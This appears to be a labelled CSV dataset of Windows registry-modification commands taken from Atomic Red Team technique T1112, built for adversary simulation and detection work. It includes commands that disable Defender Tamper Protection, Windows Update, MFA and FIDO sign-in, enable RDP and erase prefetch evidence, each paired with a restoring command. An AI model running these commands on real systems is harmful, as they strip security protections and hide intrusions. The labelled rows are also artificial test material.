14d0e1a03fc59e7d9715e842,"reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate"" /v ""DoNotConnectToWindowsUpdateInternetLocations"" /t REG_DWORD /d 1 /f","reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate"" /v ""DoNotConnectToWindowsUpdateInternetLocations"" /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Do Not Connect To Win Update,T1112,"[""T1112""]",windows,0.9,False,"Do Not Connect To Win Update. Redline is using this as part of its defense evasion.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
39c931c22d0c5bd0c3f31ecd,"reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate"" /v ""DoNotConnectToWindowsUpdateInternetLocations"" /t REG_DWORD /d 0 /f","reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate"" /v ""DoNotConnectToWindowsUpdateInternetLocations"" /t REG_DWORD /d 0 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Do Not Connect To Win Update,T1112,"[""T1112""]",windows,0.55,True,"Do Not Connect To Win Update. Redline is using this as part of its defense evasion.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f25980ad72c0e3a39188376d,"reg add ""HKLM\SOFTWARE\Microsoft\Windows Defender\Features"" /v ""TamperProtection"" /t REG_DWORD /d 0 /f","reg add ""HKLM\SOFTWARE\Microsoft\Windows Defender\Features"" /v ""TamperProtection"" /t REG_DWORD /d 0 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Tamper Win Defender Protection,T1112,"[""T1112""]",windows,0.9,False,"Tamper Win Defender Protection. RedLine Stealer is executing another component file to modify this win defender feature in registry. 
Take note that this modification might not be enough to disable this feature but can be a good indicator of malicious process that 
tries to tamper this Win Defender feature settings.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fab60042992a5ff57b4cbe63,"reg add ""HKLM\SOFTWARE\Microsoft\Windows Defender\Features"" /v ""TamperProtection"" /t REG_DWORD /d 5 /f","reg add ""HKLM\SOFTWARE\Microsoft\Windows Defender\Features"" /v ""TamperProtection"" /t REG_DWORD /d 5 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Tamper Win Defender Protection,T1112,"[""T1112""]",windows,0.55,True,"Tamper Win Defender Protection. RedLine Stealer is executing another component file to modify this win defender feature in registry. 
Take note that this modification might not be enough to disable this feature but can be a good indicator of malicious process that 
tries to tamper this Win Defender feature settings.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a29a6257be6bd14622f717c7,"$typicalPath = ""HKLM:\SOFTWARE\Classes\.wav\OpenWithProgIds""; $randomBytes = New-Object Byte[] 0x1000; (New-Object Random).NextBytes($randomBytes); New-ItemProperty -Path $typicalPath -Name ""AtomicSnake"" -Value $randomBytes -PropertyType Binary -Force | Out-Null","$typicalPath = ""HKLM:\SOFTWARE\Classes\.wav\OpenWithProgIds""; $randomBytes = New-Object Byte[] 0x1000; (New-Object Random).NextBytes($randomBytes); New-ItemProperty -Path $typicalPath -Name ""AtomicSnake"" -Value $randomBytes -PropertyType Binary -Force | Out-Null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Snake Malware Registry Blob,T1112,"[""T1112""]",windows,0.9,False,"The following Atomic Test creates a registry blob in HKLM:\SOFTWARE\Classes\.wav\OpenWithProgIds, which is related to Snake Malware. Per the report, upon execution, Snake's WerFault.exe will attempt to decrypt an encrypted blob within the Windows
registry that is typically found at HKLM:\SOFTWARE\Classes\.wav\OpenWithProgIds. The encrypted data includes the AES key, IV, and path that is used to find and decrypt the file containing Snake's kernel driver and kernel driver loader.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e5aa8eae1a5f23e18fc0e793,"$typicalPath = ""HKLM:\SOFTWARE\Classes\.wav\OpenWithProgIds""; Remove-ItemProperty -Path $typicalPath -Name ""AtomicSnake"" -ErrorAction SilentlyContinue | Out-Null","$typicalPath = ""HKLM:\SOFTWARE\Classes\.wav\OpenWithProgIds""; Remove-ItemProperty -Path $typicalPath -Name ""AtomicSnake"" -ErrorAction SilentlyContinue | Out-Null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Snake Malware Registry Blob,T1112,"[""T1112""]",windows,0.55,True,"The following Atomic Test creates a registry blob in HKLM:\SOFTWARE\Classes\.wav\OpenWithProgIds, which is related to Snake Malware. Per the report, upon execution, Snake's WerFault.exe will attempt to decrypt an encrypted blob within the Windows
registry that is typically found at HKLM:\SOFTWARE\Classes\.wav\OpenWithProgIds. The encrypted data includes the AES key, IV, and path that is used to find and decrypt the file containing Snake's kernel driver and kernel driver loader.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3e853b60ef8ab4b879b86cae,"reg add ""HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"" /v ""MaxConnectionsPerServer"" /t REG_DWORD /d 10 /f reg add ""HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"" /v ""MaxConnectionsPer1_0Server"" /t REG_DWORD /d 10 /f","reg add ""HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"" /v ""MaxConnectionsPerServer"" /t REG_DWORD /d 10 /f reg add ""HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"" /v ""MaxConnectionsPer1_0Server"" /t REG_DWORD /d 10 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Allow Simultaneous Download Registry,T1112,"[""T1112""]",windows,0.9,False,"A registry modification to allow Simultaneous download in the system.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3aa5b67b77be29498a606a50,"reg delete ""HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"" /v ""MaxConnectionsPerServer"" /f reg delete ""HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"" /v ""MaxConnectionsPer1_0Server"" /f","reg delete ""HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"" /v ""MaxConnectionsPerServer"" /f reg delete ""HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"" /v ""MaxConnectionsPer1_0Server"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Allow Simultaneous Download Registry,T1112,"[""T1112""]",windows,0.55,True,"A registry modification to allow Simultaneous download in the system.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
20b8bc2d3efa87529705fb31,"reg add ""HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults"" /v http /t REG_DWORD /d 0 /F reg add ""HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults"" /v https /t REG_DWORD /d 0 /F","reg add ""HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults"" /v http /t REG_DWORD /d 0 /F reg add ""HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults"" /v https /t REG_DWORD /d 0 /F",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Modify Internet Zone Protocol Defaults in Current User Registry - cmd,T1112,"[""T1112""]",windows,0.9,False,"This test simulates an adversary modifying the Internet Zone Protocol Defaults in the registry of the currently logged-in user using the reg.exe utility via the command prompt. Such modifications can be indicative of an adversary trying to weaken browser security settings. Upon execution, if successful, the message ""The operation completed successfully."" will be displayed.
To verify the effects of the test:
1. Open the Registry Editor (regedit.exe).
2. Navigate to ""HKEY_CURRENT_USER\SOFTWARE\Mic",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e22c737b9354fc4d4692a367,"reg add ""HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults"" /v http /t REG_DWORD /d 3 /F reg add ""HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults"" /v https /t REG_DWORD /d 3 /F","reg add ""HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults"" /v http /t REG_DWORD /d 3 /F reg add ""HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults"" /v https /t REG_DWORD /d 3 /F",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Modify Internet Zone Protocol Defaults in Current User Registry - cmd,T1112,"[""T1112""]",windows,0.55,True,"This test simulates an adversary modifying the Internet Zone Protocol Defaults in the registry of the currently logged-in user using the reg.exe utility via the command prompt. Such modifications can be indicative of an adversary trying to weaken browser security settings. Upon execution, if successful, the message ""The operation completed successfully."" will be displayed.
To verify the effects of the test:
1. Open the Registry Editor (regedit.exe).
2. Navigate to ""HKEY_CURRENT_USER\SOFTWARE\Mic",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a91a9ef5e93651e7363b51b2,# Set the registry values for http and https to 0 Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults' -Name 'http' -Value 0 Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults' -Name 'https' -Value 0,# Set the registry values for http and https to 0 Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults' -Name 'http' -Value 0 Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults' -Name 'https' -Value 0,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Modify Internet Zone Protocol Defaults in Current User Registry - PowerShell,T1112,"[""T1112""]",windows,0.9,False,"This test simulates an adversary modifying the Internet Zone Protocol Defaults in the registry of the currently logged-in user using PowerShell. Such modifications can be indicative of an adversary attempting to weaken browser security settings. 
To verify the effects of the test:
1. Open the Registry Editor (regedit.exe).
2. Navigate to ""HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults"".
3. Check for the presence of the ""http"" and ""https"" DW",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3f959919857a67d8349c5236,# Restore the registry values for http and https to 3 Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults' -Name 'http' -Value 3 Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults' -Name 'https' -Value 3,# Restore the registry values for http and https to 3 Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults' -Name 'http' -Value 3 Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults' -Name 'https' -Value 3,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Modify Internet Zone Protocol Defaults in Current User Registry - PowerShell,T1112,"[""T1112""]",windows,0.55,True,"This test simulates an adversary modifying the Internet Zone Protocol Defaults in the registry of the currently logged-in user using PowerShell. Such modifications can be indicative of an adversary attempting to weaken browser security settings. 
To verify the effects of the test:
1. Open the Registry Editor (regedit.exe).
2. Navigate to ""HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults"".
3. Check for the presence of the ""http"" and ""https"" DW",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3e8c69e9c46fa55c833ff5a5,"reg add ""HKLM\SOFTWARE\Policies\Microsoft\SecondaryAuthenticationFactor"" /v ""AllowSecondaryAuthenticationDevice"" /t REG_DWORD /d 0 /f","reg add ""HKLM\SOFTWARE\Policies\Microsoft\SecondaryAuthenticationFactor"" /v ""AllowSecondaryAuthenticationDevice"" /t REG_DWORD /d 0 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Activities To Disable Secondary Authentication Detected By Modified Registry Value.,T1112,"[""T1112""]",windows,0.9,False,"Detect the disable secondary authentication activities that adversary attempt to bypass MFA and to get the unauthorized access to the system or sensitive data.
See the related article (https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.SecondaryAuthenticationFactor::MSSecondaryAuthFactor_AllowSecondaryAuthenticationDevice).
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c4429b4cb9d3e2f6ad63a853,"reg add ""HKLM\SOFTWARE\Policies\Microsoft\SecondaryAuthenticationFactor"" /v ""AllowSecondaryAuthenticationDevice"" /t REG_DWORD /d 1 /f","reg add ""HKLM\SOFTWARE\Policies\Microsoft\SecondaryAuthenticationFactor"" /v ""AllowSecondaryAuthenticationDevice"" /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Activities To Disable Secondary Authentication Detected By Modified Registry Value.,T1112,"[""T1112""]",windows,0.55,True,"Detect the disable secondary authentication activities that adversary attempt to bypass MFA and to get the unauthorized access to the system or sensitive data.
See the related article (https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.SecondaryAuthenticationFactor::MSSecondaryAuthFactor_AllowSecondaryAuthenticationDevice).
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5436f15234a830fabfea6e8a,"reg add ""HKLM\SOFTWARE\Policies\Microsoft\FIDO"" /v ""AllowExternalDeviceSignon"" /t REG_DWORD /d 0 /f","reg add ""HKLM\SOFTWARE\Policies\Microsoft\FIDO"" /v ""AllowExternalDeviceSignon"" /t REG_DWORD /d 0 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Activities To Disable Microsoft [FIDO Aka Fast IDentity Online] Authentication Detected By Modified Registry Value.,T1112,"[""T1112""]",windows,0.9,False,"Detect the Microsoft FIDO authentication disable activities that adversary attempt to gains access to login credentials (e.g., passwords), they may be able to impersonate the user and access sensitive accounts or data and also increases the risk of falling victim to phishing attacks.
See the related article (https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.FidoAuthentication::AllowFidoDeviceSignon).
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
03bfca8c95168cd38e0120dc,"reg add ""HKLM\SOFTWARE\Policies\Microsoft\FIDO"" /v ""AllowExternalDeviceSignon"" /t REG_DWORD /d 1 /f","reg add ""HKLM\SOFTWARE\Policies\Microsoft\FIDO"" /v ""AllowExternalDeviceSignon"" /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Activities To Disable Microsoft [FIDO Aka Fast IDentity Online] Authentication Detected By Modified Registry Value.,T1112,"[""T1112""]",windows,0.55,True,"Detect the Microsoft FIDO authentication disable activities that adversary attempt to gains access to login credentials (e.g., passwords), they may be able to impersonate the user and access sensitive accounts or data and also increases the risk of falling victim to phishing attacks.
See the related article (https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.FidoAuthentication::AllowFidoDeviceSignon).
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4d3814b72fa3bb7eb8363f2e,"reg add ""HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters"" /v AllowEncryptionOracle /t REG_DWORD /d 2 /f","reg add ""HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters"" /v AllowEncryptionOracle /t REG_DWORD /d 2 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Scarab Ransomware Defense Evasion Activities,T1112,"[""T1112""]",windows,0.9,False,"Scarab Ransomware defense evasion activities that can abuse the registry values to modify the settings of the Credential Security Support Provider to overcome potential RDP connection issues.
[Scarab Ransomware Article](https://www.welivesecurity.com/en/eset-research/scarabs-colon-izing-vulnerable-servers/)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
11e0100c542375d047ad2944,"reg add ""HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters"" /v AllowEncryptionOracle /t REG_DWORD /d 0 /f","reg add ""HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters"" /v AllowEncryptionOracle /t REG_DWORD /d 0 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Scarab Ransomware Defense Evasion Activities,T1112,"[""T1112""]",windows,0.55,True,"Scarab Ransomware defense evasion activities that can abuse the registry values to modify the settings of the Credential Security Support Provider to overcome potential RDP connection issues.
[Scarab Ransomware Article](https://www.welivesecurity.com/en/eset-research/scarabs-colon-izing-vulnerable-servers/)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
df428f13d98a77c9037e8ccb,"reg add ""HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Terminal Services"" /v ""DisableRemoteDesktopAntiAlias"" /t REG_DWORD /d 1 /f","reg add ""HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Terminal Services"" /v ""DisableRemoteDesktopAntiAlias"" /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Remote Desktop Anti-Alias Setting Through Registry,T1112,"[""T1112""]",windows,0.9,False,"A modification registry to disable RDP anti-alias settings. This technique was seen in DarkGate malware as part of its installation
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
be48bb3d0913713fe1bc7f78,"reg add ""HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Terminal Services"" /v ""DisableRemoteDesktopAntiAlias"" /t REG_DWORD /d 0 /f","reg add ""HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Terminal Services"" /v ""DisableRemoteDesktopAntiAlias"" /t REG_DWORD /d 0 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Remote Desktop Anti-Alias Setting Through Registry,T1112,"[""T1112""]",windows,0.55,True,"A modification registry to disable RDP anti-alias settings. This technique was seen in DarkGate malware as part of its installation
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6b13d2c8b4c02342ebcbd212,"reg add ""HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Terminal Services"" /v ""DisableSecuritySettings"" /t REG_DWORD /d 1 /f","reg add ""HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Terminal Services"" /v ""DisableSecuritySettings"" /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Remote Desktop Security Settings Through Registry,T1112,"[""T1112""]",windows,0.9,False,"A modification registry to disable RDP security settings. This technique was seen in DarkGate malware as part of its installation
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
dda3d3534b1bfba813d709a7,"reg add ""HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Terminal Services"" /v ""DisableSecuritySettings"" /t REG_DWORD /d 0 /f","reg add ""HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Terminal Services"" /v ""DisableSecuritySettings"" /t REG_DWORD /d 0 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Remote Desktop Security Settings Through Registry,T1112,"[""T1112""]",windows,0.55,True,"A modification registry to disable RDP security settings. This technique was seen in DarkGate malware as part of its installation
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d2030a441270a527acb3a657,"reg add ""HKCU\Software\Microsoft\Windows\Windows Error Reporting"" /v DontShowUI /t REG_DWORD /d 1 /f","reg add ""HKCU\Software\Microsoft\Windows\Windows Error Reporting"" /v DontShowUI /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disabling ShowUI Settings of Windows Error Reporting (WER),T1112,"[""T1112""]",windows,0.9,False,"A modification registry to disable ShowUI settings of Windows Error Report. This registry setting can influence the behavior of error reporting dialogs or prompt box. 
This technique was seen in DarkGate malware as part of its installation.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f49a9678432e2a4ff77ea75a,"reg add ""HKCU\Software\Microsoft\Windows\Windows Error Reporting"" /v DontShowUI /t REG_DWORD /d 0 /f","reg add ""HKCU\Software\Microsoft\Windows\Windows Error Reporting"" /v DontShowUI /t REG_DWORD /d 0 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disabling ShowUI Settings of Windows Error Reporting (WER),T1112,"[""T1112""]",windows,0.55,True,"A modification registry to disable ShowUI settings of Windows Error Report. This registry setting can influence the behavior of error reporting dialogs or prompt box. 
This technique was seen in DarkGate malware as part of its installation.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9ad0d6958157be687699dafc,"reg add ""HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"" /v ProxyEnable /t REG_DWORD /d 1 /f","reg add ""HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"" /v ProxyEnable /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Enable Proxy Settings,T1112,"[""T1112""]",windows,0.9,False,"A modification registry to enable proxy settings. This technique was seen in DarkGate malware as part of its installation.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
64f5430c70ba1cd990012734,"reg add ""HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"" /v ProxyEnable /t REG_DWORD /d 0 /f","reg add ""HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"" /v ProxyEnable /t REG_DWORD /d 0 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Enable Proxy Settings,T1112,"[""T1112""]",windows,0.55,True,"A modification registry to enable proxy settings. This technique was seen in DarkGate malware as part of its installation.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
58bbb1cd3329d7f11d3b27ec,"reg add ""HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"" /v ProxyServer /t REG_SZ /d ""proxy.atomic-test.com:8080"" /f","reg add ""HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"" /v ProxyServer /t REG_SZ /d ""proxy.atomic-test.com:8080"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Set-Up Proxy Server,T1112,"[""T1112""]",windows,0.9,False,"A modification registry to setup proxy server. This technique was seen in DarkGate malware as part of its installation.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a7e9151fa77ae6614be33078,"reg delete ""HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"" /v ProxyServer /f","reg delete ""HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"" /v ProxyServer /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Set-Up Proxy Server,T1112,"[""T1112""]",windows,0.55,True,"A modification registry to setup proxy server. This technique was seen in DarkGate malware as part of its installation.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
131854acb4c9709709c07fa5,"reg add ""HKCU\Software\Microsoft\Terminal Server Client"" /v AuthenticationLevelOverride /t REG_DWORD /d 0 /f","reg add ""HKCU\Software\Microsoft\Terminal Server Client"" /v AuthenticationLevelOverride /t REG_DWORD /d 0 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,RDP Authentication Level Override,T1112,"[""T1112""]",windows,0.9,False,"A modification registry to override RDP Authentication Level. This technique was seen in DarkGate malware as part of its installation.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
331537bff780f949e7bfe843,"reg delete ""HKCU\Software\Microsoft\Terminal Server Client"" /v AuthenticationLevelOverride","reg delete ""HKCU\Software\Microsoft\Terminal Server Client"" /v AuthenticationLevelOverride",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,RDP Authentication Level Override,T1112,"[""T1112""]",windows,0.55,True,"A modification registry to override RDP Authentication Level. This technique was seen in DarkGate malware as part of its installation.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9073ab4d5095d8bb064e69b9,"reg add ""HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server"" /v fDenyTSConnections /t REG_DWORD /d 0 /f","reg add ""HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server"" /v fDenyTSConnections /t REG_DWORD /d 0 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Enable RDP via Registry (fDenyTSConnections),T1112,"[""T1112""]",windows,0.9,False,"Modify the registry value of fDenyTSConnections to allow incoming RDP connections. 
This activity has been observed by multiple ransomware groups, including Hive ransomware. 
[Reference](https://www.rapid7.com/blog/post/2023/01/11/increasing-the-sting-of-hive-ransomware/)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b17917605627f2035e63fae0,"if #{remove_rdp_access_during_cleanup} EQU 1 (reg delete ""HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server"" /v fDenyTSConnections /f >nul 2>&1)","if #{remove_rdp_access_during_cleanup} EQU 1 (reg delete ""HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server"" /v fDenyTSConnections /f >nul 2>&1)",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Enable RDP via Registry (fDenyTSConnections),T1112,"[""T1112""]",windows,0.55,True,"Modify the registry value of fDenyTSConnections to allow incoming RDP connections. 
This activity has been observed by multiple ransomware groups, including Hive ransomware. 
[Reference](https://www.rapid7.com/blog/post/2023/01/11/increasing-the-sting-of-hive-ransomware/)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d86a873c1aad59846cfabdca,"reg add ""HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters"" /v ""EnablePrefetcher"" /t REG_DWORD /d 0 /f","reg add ""HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters"" /v ""EnablePrefetcher"" /t REG_DWORD /d 0 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Windows Prefetch Through Registry,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry of the machine to disable prefetch. Disabling prefetch will remove one artifact for evidence of application execution. Restart is required post modification
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a1e647691194d6dac2d96b77,"reg add ""HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters"" /v ""EnablePrefetcher"" /t REG_DWORD /d 3 /f","reg add ""HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters"" /v ""EnablePrefetcher"" /t REG_DWORD /d 3 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Windows Prefetch Through Registry,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry of the machine to disable prefetch. Disabling prefetch will remove one artifact for evidence of application execution. Restart is required post modification
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
